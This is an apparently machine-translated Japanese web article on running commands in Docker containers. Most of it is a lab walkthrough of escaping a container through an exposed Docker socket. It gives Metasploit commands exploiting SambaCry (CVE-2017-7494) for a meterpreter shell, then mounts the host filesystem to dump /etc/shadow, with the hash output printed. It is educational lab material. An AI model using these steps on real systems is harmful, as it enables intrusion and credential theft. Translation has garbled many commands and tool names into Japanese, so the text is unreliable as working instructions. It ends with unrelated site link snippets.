Docker コンテナに繰り返し入って操作することを避けるために、コンテナ内の一連の命令をホストマシンで完了させることができます。 ホスト マシン (著者のホストは Windows 7) 上の centos コンテナー (名前は centos-1) の /usr ディレクトリにある「プリンター」実行可能プログラムを実行すると、プログラムの出力として「123」が印刷されます。
成功。 追加知識:安全でない Docker コンテナのデプロイメントを使用してホスト権限を取得する 序文 コンテナを悪用して脱出する方法は数多くあります。この記事では、最も基本的な方法、つまり Docker ソケットを悪用してコンテナを脱出し、ホスト上で root としてコードを実行する方法について説明します。 実験環境のセットアップ コンテナを使用するため、docker がインストールされている必要があります。 ネットワークの作成 まず、コンテナを作成する Docker ネットワークを作成します。
脆弱なコンテナを起動する この例では、SambaCry 脆弱性 (CVE-2017-7494) の影響を受けるコンテナを使用します。脆弱性の詳細については、opsxcq/exploit-CVE-2017-7494 を参照してください。 この脆弱性により、Samba サーバーでリモート コードを実行できるようになります。コンテナーに docker ソケットを追加します。以下は docker を悪用した例です。 docker run --rm -it \ --name 脆弱な \ --network-pwnage \ -v '/var/run/docker.sock:/var/run/docker.sock' \ 脆弱性/CVE-2017-7494 攻撃機の発進 ラボ環境をセットアップしたら、攻撃者のホストをネットワークに追加する必要があります。 Samba Cry リポジトリには利用可能なエクスプロイトがありますが、必要なものをアップロードする方が簡単なので、ここでは Metasploit を使用します。 私はこれ用のイメージを構築しました。以下のコマンドを実行するだけで、ラボ環境に必要なすべてが実行されます。 docker run --rm -it \ --network-pwnage \ -v '/usr/bin/docker:/docker:ro' \ strm/メタスプロイト 読み込みが完了すると、次のインターフェースが表示されます。 攻撃の悪用 情報収集 情報収集は、あらゆる攻撃やテストの重要な部分です。まず、脆弱なコンテナに ping を実行して、現在の接続を確認しましょう。
すべてがうまくいけば、次の出力が表示されます。 msf5 > ping -c 2 脆弱 [*] exec: ping -c 2 脆弱 PING脆弱(172.20.0.2)56(84)バイトのデータ。 脆弱性のあるpwnage (172.20.0.2) からの 64 バイト: icmp_seq=1 ttl=64 time=0.120 ms 脆弱性のある.pwnage (172.20.0.2) からの 64 バイト: icmp_seq=2 ttl=64 time=0.097 ms --- 脆弱な ping 統計 --- 送信パケット 2 個、受信パケット 2 個、パケット損失 0%、時間 1009 ミリ秒 rtt 最小/平均/最大/平均偏差 = 0.097/0.108/0.120/0.015 ミリ秒 次に、基本的な smb 共有の列挙を実行します。 補助/スキャナ/smb/smb_enumshares を使用する rhosts を脆弱に設定する 走る 出力は次のようになります。 msf5 > 補助/スキャナ/smb/smb_enumshares を使用する msf5 補助(スキャナ/smb/smb_enumshares) > rhosts を脆弱に設定 rhosts => 脆弱 msf5 補助(スキャナ/smb/smb_enumshares) > 実行 [+] 172.20.0.2:139 - データ - (DS) データ [+] 172.20.0.2:139 - IPC$ - (I) IPC サービス (泣きサンバ) [*] 脆弱: - 1 台のホストのうち 1 台をスキャンしました (100% 完了) [*] 補助モジュールの実行が完了しました ご覧のとおり、この samba サーバーには data という名前の共有があります。 シェルを入手する 次のステップは、ホスト マシンに対してエクスプロイトを実行してシェルを取得することです。 Metasploit では、この脆弱性は is_known_pipename という名前で、exploit/linux/samba/is_known_pipename にあります。 ホストを攻撃するには、以下のコマンドを実行します。 エクスプロイト/linux/samba/is_known_pipename を使用する RHOSTを脆弱に設定する RPORT 445 を設定 ペイロードを設定する linux/x64/meterpreter/bind_tcp ターゲット3を設定 SMB_FOLDERデータを設定する SMBUser sambacry を設定する SMBPassを設定する nosambanocry 悪用する すべてがうまくいけば、meterpreter シェルが取得されます。次のように: msf5 > エクスプロイト/linux/samba/is_known_pipename を使用する msf5 エクスプロイト(linux/samba/is_known_pipename) > RHOST を脆弱に設定する RHOST => 脆弱 msf5 エクスプロイト(linux/samba/is_known_pipename) > RPORT 445 を設定 レポート => 445 msf5 エクスプロイト (linux/samba/is_known_pipename) > ペイロードを設定 linux/x64/meterpreter/bind_tcp ペイロード => linux/x64/meterpreter/bind_tcp msf5 エクスプロイト(linux/samba/is_known_pipename) > TARGET 3 を設定 ターゲット => 3 msf5 エクスプロイト(linux/samba/is_known_pipename) > SMB_FOLDER データの設定 SMB_FOLDER => データ msf5 エクスプロイト(linux/samba/is_known_pipename) > SMBUser sambacry を設定する SMBUser => サンバクリ msf5 エクスプロイト(linux/samba/is_known_pipename) > SMBPass nosambanocry を設定する SMBPass => いやだー msf5 エクスプロイト(linux/samba/is_known_pipename) > エクスプロイト [*] 脆弱:445 - パスに場所 \\vulnerable\data\ を使用する [*] 脆弱性:445 - 共有「データ」のリモートパスの取得 [*] 脆弱:445 - 共有「data」にサーバー側パス「/data」がある [*] 脆弱:445 - ペイロードを \\vulnerable\data\shyyEPPk.so にアップロードしました [*] 脆弱性:445 - \\PIPE\/data/shyyEPPk.so を使用してサーバー側パス /data/shyyEPPk.so からペイロードをロードします... [-] 脆弱:445 - >> STATUS_OBJECT_NAME_NOT_FOUND の読み込みに失敗しました [*] 脆弱:445 - /data/shyyEPPk.so を使用してサーバー側パス /data/shyyEPPk.so からペイロードをロードします... [-] 脆弱:445 - >> STATUS_OBJECT_NAME_NOT_FOUND の読み込みに失敗しました [*] 脆弱な 4444 に対するバインド TCP ハンドラーを開始しました [*] 脆弱な送信ステージ(816260バイト) メータープレター > 権限昇格 コンテナ内で利用可能な Docker ソケットを悪用して権限を昇格します。 Docker はホストマシン上で root として実行されるため、root 権限も持っています。これを悪用して複数のアクションを実行することができます。たとえば、--privileged オプションを使用すると、多くの拡張機能が提供されます。以下は、Docker の公式ドキュメントから抜粋した説明文です。 デフォルトでは、Docker コンテナには権限がありません。たとえば、コンテナ内でコンテナを起動することはできません。これは、デフォルトではコンテナが他のデバイスにアクセスできないためです。しかし、「特権」を持つことにより、コンテナは他のデバイスにアクセスできるようになります。オペレーターが docker run --privileged を実行すると、Docker はホスト上のすべてのデバイスにアクセスできるようになります。同時に、Docker は apparmor または selinux でいくつかの設定を行い、コンテナがコンテナ外で実行されているデバイスに簡単にアクセスできるようにします。 --device オプションを使用してデバイスにアクセスできます。ただし、この例では、toor ファイル システム (/) をコンテナーにマップしてアクセスします。 このコンテナには Docker クライアントがないため、次に行う必要があるのは、ターゲット コンテナに Docker クライアントとその依存関係を設定することです。次のコマンドを実行するだけで、これらすべてを実行できます。 アップロード /docker /docker /usr/lib/x86_64-linux-gnu/libltdl.so.7 をアップロードします /usr/lib/x86_64-linux-gnu/libltdl.so.7 chmod 777 /docker chmod +x /docker メータープレター > アップロード /docker /docker [*] アップロード中: /docker -> /docker [*] アップロード済み -1.00 B / 36.36 MiB (0.0%): /docker -> /docker [*] アップロード済み -1.00 B / 36.36 MiB (0.0%): /docker -> /docker [*] アップロード済み -1.00 B / 36.36 MiB (0.0%): /docker -> /docker [*] アップロード済み -1.00 B / 36.36 MiB (0.0%): /docker -> /docker [*] アップロード済み -1.00 B / 36.36 MiB (0.0%): /docker -> /docker [*] アップロード済み : /docker -> /docker メータープリター > /usr/lib/x86_64-linux-gnu/libltdl.so.7 をアップロード /usr/lib/x86_64-linux-gnu/libltdl.so.7 [*] アップロード中: /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7 [*] 38.47 KiB のうち -1.00 B (-0.0%) をアップロードしました: /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7 [*] アップロードしました: /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7 メータープレター > chmod 777 /docker メータープリター > chmod +x /docker メータープレター > これで、docker を使用してホスト マシン上のファイル システムにアクセスできるようになりました。 \
ローカル ユーザーのハッシュをダンプしてみましょう。出力は次のようになります。 メータープリター > 実行 -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow" プロセス 113 が作成されました。 チャンネル13が作成されました。 ルート:$1$UFKdtFGw$qp29y1qGWit/vnvIG0uSr1:17488:0:99999:7::: デーモン:*:17488:0:99999:7::: ビン:*:17488:0:99999:7::: sys:*:17488:0:99999:7::: 同期:*:17488:0:99999:7::: ゲーム:*:17488:0:99999:7::: 男:*:17488:0:99999:7::: lp:*:17488:0:99999:7::: メール:*:17488:0:99999:7::: ニュース:*:17488:0:99999:7::: ホスト上の docker コンテナ内でシェルまたはプログラムを実行する方法に関する上記の記事が、私が皆さんに共有できるすべてです。この記事が皆さんの参考になれば幸いです。また、123WORDPRESS.COM を応援していただければ幸いです。 以下もご興味があるかもしれません:
|
<<: JavaScript でよく使われる 5 つのオブジェクト
導入:この記事では主に、Linux システムで IPV6 接続をサポートするように MySQL を構...
例を見てみましょう。コードは次の通り非常にシンプルです。コードをコピーコードは次のとおりです。 &l...
MySql 自動切り捨て例の詳細な説明友人が質問しました。プロジェクト内で挿入または更新ステートメン...
この記事では、携帯電話のカメラとアルバムにアクセスするためのVueの具体的なコードを参考までに共有し...
方法1: lsofコマンドを使用するlsof コマンドを使用して、ポートが開いているかどうかを確認で...
この記事では、Linux 環境での ActiveMQ の展開方法について説明します。ご参考までに、詳...
この細線の表を作成する方法については、Baidu で検索すると、表に対して border="...
MySQL-8.0.23 をダウンロードクリックしてダウンロード: mysql-8.0.23-li...
プロジェクト内のページの長さはおよそ2000px以上あり、背景画像にはテクスチャやグラデーションがあ...
html、address、blockquote、body、dd、div、dl、dt、fieldset...
どの企業もユーザーベースを拡大したいのであれば、ユーザーの操作データを収集・分析する必要があり、その...
Linux システムを使用したことがある人なら、Linux システムの ls コマンドは通常、ファイ...
目次序文事例: JD.com の虫眼鏡効果の模倣オフセットシリーズクライアントシリーズスクロールシリ...
表示するデータが多い場合、1 つのチャートに表示しても効果はよくありません。このとき、2 つのチャー...
ローカル環境はWindows10+WSL2(Ubuntu)です。サーバーにDockerをインストール...